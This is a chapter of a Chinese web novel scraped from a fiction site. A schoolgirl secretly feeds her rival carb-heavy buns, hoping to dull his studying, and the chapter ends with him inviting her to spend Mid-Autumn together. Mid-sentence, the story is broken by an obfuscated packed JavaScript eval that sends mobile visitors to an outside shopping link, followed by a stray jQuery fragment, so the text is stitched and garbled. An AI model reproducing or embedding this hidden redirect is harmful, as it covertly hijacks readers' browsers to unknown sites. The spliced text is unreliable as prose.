文趣网 > 都市小说 > 装货 > 9. 过中秋
    江城的九月,是一场总也退不下的的低烧。明明已经立秋,天气却像卡在了盛夏的齿轮里,死活不肯转动。

    空气里凝固着一种树叶被晒干后的苦涩,夹杂着远处操场上传来的,若有其事的水汽感。

    早晨七点,天光已经亮得有些刺眼,苏苏桉来得比平时稍晚,不过也是班级前五的存在。

    她进门时刻意放轻了脚步,快步走向自己的座位。

    书包塞进抽屉的瞬间,她手指紧紧攥着一个白色塑料袋。

    俗话说,打铁要趁热,斩草要除根,苏苏桉特意买来早餐,就是为了巩固在他心中的美好形象。

    当然,她也绝对不会真让裴释享福。这些精致碳水会在短时间内被迅速水解成葡萄糖,进入他的血液。随后,他的胰岛素会迫于压力大规模出动来平抑血糖。而这种生化反应会让他血液里的色氨酸更容易穿透血脑屏障,转化为5羟色胺。他的一整个早上,都会陷阱困倦和迟钝里。

    一日之计在于晨,一天困一早上,浪费的是他一整天的时间,如果她每天都给他带这种早餐……自此之后,从此以往,她的学习时间以及专注程度远超裴释,他不甘落后,但也只能甘拜下风。

    苏苏桉勾起嘴角,止不住得想笑。一直到隔着塑料袋的热气,烫伤了她的手心,才反应过来。

    她转头飞快地扫视了一圈,教室里还没几个人,不过其他同学的书页声在提醒她——刻不容缓。

    总不能耽误自己的时间啊。

    弯腰,伸手,动作在一瞬间完成,她将那袋还冒着烫人白烟的东西,精准地塞进隔壁裴释的抽屉深处。

    收回手时,苏苏桉的指尖都在控制不住地轻颤。

    她迅速坐直,翻开那本被翻得卷了边的词汇手册,目光死死钉在“isolate”那个单词上,心跳却快得要撞破胸腔。

    这种感觉很奇怪。她一边希望他吃掉,一边自责于她的卑劣。

    教导主任说他是为了她打架,虽然不知道具体发生了什么,但她知道他喜欢她。

    他总是帮她的。

    可就是因为相信他帮了她,她才自责。

    明明她应该感谢的,明明他也已经说了喜欢的。

    只是,为了成绩,别的她什么都愿意舍弃。

    裴释走进来时,身上还残余着几分凉意,在这闷热黏腻的空气里,他显得格外干净温凉。

    他悠悠坐下,拉开抽屉取书。

    塑料袋“沙沙”一响,在安静里格外刺耳。

    裴释的动作顿住了。

    怎么样,感动吧?

    苏苏桉的眼睫微不可察地抖了一下。按她预料,他看到她给他带的早餐,是一定会激动得哭出来的。

    因为这不仅是她在对他释放善意,还代表了她在想着他、惦念着他!

    就这招,纯情小少男,还不是轻轻松松就沦陷了?

    苏苏桉难掩喜色,就等着裴释仰慕的话语说出口。

    只不过旁边的人略微迟疑,半天没说一句话不说,还一脸疑惑地望着她。

    约莫还处于惊喜状态中。

    苏苏桉有些不好意思,毕竟这也又不是什么大钻石大金币,他这样望着她,倒像是她占了便宜。

    苏苏桉只好躲开他的视线,只留耳朵感知。

    她能感觉到他的视线在抽屉里停留了很久,久到、她都忍不住偷瞄……屉子里的小笼包被酱料染成了辣红,书本挤压之下,圆滚滚的小包子也挤成了奇奇怪怪的形状。

    不得不说,完全没有食欲,甚至怪恶心的。

    苏苏桉瞪圆了眼睛,脸色骤变,好像是她讲包子塞进他的书桌里的,也好像是她为了掩藏香味,又胡乱塞了几本书进去的。

    可是,谁会知道变成了这幅德性?!

    苏苏桉眉头轻拧,有些懊悔,不能让他欢心不说,也不能让她开心,甚至最后,让他们都感觉恶心。

    可惜了她的计划,可惜了她的钱,可惜了这一袋子小笼包。

    刚出炉时香喷喷地勾人魂,现在这样,还不如烂在蒸笼里。

    然而,她听到了拆开塑料袋的声音。

    一瞬间,小笼包直白的肉香在狭窄的座位间炸开。

    苏苏桉下意识地屏住呼吸。她不敢看他,只能凭感官去捕捉身侧的动静。

    她感觉到他修长的手指触碰到了塑料袋,感觉到他慢条斯理地咬开了一个缺口。

    他真的在吃!

    苏苏桉嘴角翘起,心里终于安定下来,计划成功了一大步。

    “你特意给我带的?”

    “才不是。”苏苏桉整个人都从座位上弹了起来,一声厉喝,引得班上不少人瞩目。感受到他人的目光,她又尬笑着坐了回去,默默降低音量,“是我不小心买多了。”

    反驳的话脱口而出,她才想起其中异常,她为什么要否认?她就应该承认,坦荡荡地承认,是她惦念着他,担心他没吃饭,所以特意带了早餐。

    “我……”

    苏苏桉轻声呢喃,却还没有蚊子分贝大。

    她这样的人,哪怕再想要什么,哪怕做好再多的心理准备,也说不出这样暧昧甜腻的话。

    苏苏桉掐紧手臂的肉,劝诫自己冷静。

    旁边的人也咬紧牙关,劝诫自己冷静。

    不小心?

    裴释咬了一半的包子停在指间。他望了眼苏苏桉,眼里透着股让人无处遁形的打量。

    那笼包子在晨光里渐渐失去了刚出笼的喧嚣,剩下的一个有些凉了,再吃也少了几分滋味。

    裴释囫囵咽下,又猛灌了一大瓶凉水,才算清醒,“那你下次小心点?”

    “?”

    什么人啊,给他带吃的,就算不爱吃,也不能这样说话啊。

    苏苏桉紧皱眉头,狠狠瞪了裴释一眼。

    “我不是这个意思。”

    “什么叫不是这个意思?你这话除了这个意思还有几个意思?”

    苏苏桉的心像被一把无名火烤着,言语连珠炮一样发射,“谁会突然跑去多买一笼包子,你就这么笨吗?”

    “是我特意给你带的行了吧,我是傻子吗?”

    特意带给他的......

    话一出口,她就后悔了。

    特意两个字,在他们这种心怀鬼胎的暧昧里,显得过于赤裸,也过于沉重。

    苏苏桉的目光重新埋回书页。她刚刚脱口而出的几个字,在她脑中化成了一团乱麻。

    一种从未有过的怪诞感在他们之间徘徊,静默到只有吞咽声和呼吸声的座位,让他们之间产生了一种黏稠的错觉,拉不开,又化不掉。

    两个人谁也没说话,谁也没看谁。

    “这东西你给我加了小料吧。”裴释突然开口,语调懒洋洋的,却带着拦人的钩子。

    什么小料?明明只加了勺辣酱。

    苏苏桉心头一跳,生怕他看穿了她的阴谋,拨浪鼓似的摇头,“没下毒。”

    裴释唇角抽搐了一下。

    看着面前一本正经的人,他眼底浮现出一抹极淡的笑意,转瞬即逝,“知道,现在是法治社会。”

    苏苏桉:“……”

    她最烦他这种一本正经的阴阳怪气。

    他身上那种一切尽在掌握的松弛,是对她这种拼命狂徒最

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492258|202284||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大的嘲讽。

    她赌气似的扭过头,目光落在窗外的梧桐树上,却又忍不住用余光去瞥他。

    他正低头整理练习册,侧脸的线条在晨光里显得格外冷峻。那截卷起的袖口下,青紫色的血管若隐若现,透着一股勃发的生命力。

    苏苏桉看得有些出神。

    如果他的大脑真的因为那一笼包子而变得迟钝,那他还值得她付出这么多吗?

    “看什么?”少年的声音毫无预兆地响起。

    什么?

    苏苏桉满脸疑惑的看向裴释。

    “我问你,看什么。”

    他第二次重复,声音压得很低,带着晨起时特有的低哑。

    苏苏桉的心尖在那一瞬间几乎停摆。她猛地转过头,却猝不及防地撞进他那双深不见底的桃花眼里。

    那眼里没有清晨的慵懒,反而像是一面清澈的镜子,精准地映照出她所有的卑劣、阴暗与藏不住的心虚。

    空气凝固了。

    苏苏桉清晰地感觉到自己的脸颊在升温,那种热度是从心口一路烧上来的,羞愤、尴尬、无地自容,她死死咬着后槽牙,强迫自己移开视线。

    “没看,我只是在看那棵树上有几片叶子要掉了。”

    她心虚地盯着课桌的一角,手指用力地掐着虎口。

    一秒。

    两秒。

    她能感觉到,裴释没有移开目光。那两道视线像是有实体一般,沉甸甸地压在她的侧脸上。

    苏苏桉等了很久,预想中的嘲讽并没有到来。不用被追问,她默默松了口气。

    只不过,他单方面的注视,让她生出了一丝不甘。凭什么每次都是他占据主动权?

    她深吸一口气,像是要找回场子似的,猛地转过头,去看他。

    她眼睛瞪得圆圆的,试图捕获他还没来得及收回的偷窥证据。

    果然,裴释还没来得及转头。

    两人的目光在不足三十厘米的距离内再次相撞。

    苏苏桉捕捉到了他眼中闪过的一丝错愕。那一刻,她心里的压抑瞬间转化成了某种病态的得意。

    哈,抓到了。

    她挑起眉毛,唇角勾起一抹近乎挑衅的弧度。在学业上无法获得的优越感,竟然在这一刻通过这种幼稚的对视得到了补偿。

    她甚至想得意地开口,嘲讽他一句:看什么?好看吗?什么时候能看够?

    然而,裴释并没有像她预想中那样尴尬地避开。他只是静静地看着她,眼神从最初的错愕,逐渐沉淀为一种深不见底的思虑。

    那种眼神太复杂了,复杂到让苏苏桉的得意还没完全绽放,就枯萎在了唇边。

    他似乎在做一个很难的决定,修长的手指在书桌边缘无意识地轻叩。

    “苏苏桉。”他叫她的名字。

    “干嘛?”她没好气地应声,试图维持住最后一点骄傲。

    裴释垂下眼睫,沉默了良久。

    久到苏苏桉以为他又要开始那种无聊的争辩时,他才再次开口:

    “中秋节,你怎么过?”

    这问题跳跃得太大,苏苏桉愣了一下,语气生硬地回答,“当然是和妈妈一起过。”

    提到“妈妈”,苏苏桉的脊背下意识地挺直了一些。

    裴释听完,没有立刻接话。他转过头去,看着窗外那场退不下的盛夏,半张脸陷在光影的交界处,显得有些寂寥。

    又是一阵漫长的、让人窒息的沉默。

    就在苏苏桉打算戴上耳机听听力的时候,裴释的声音再次在嘈杂的班级背景音中清晰地传了过来。

    “要不,我们一起过吧。”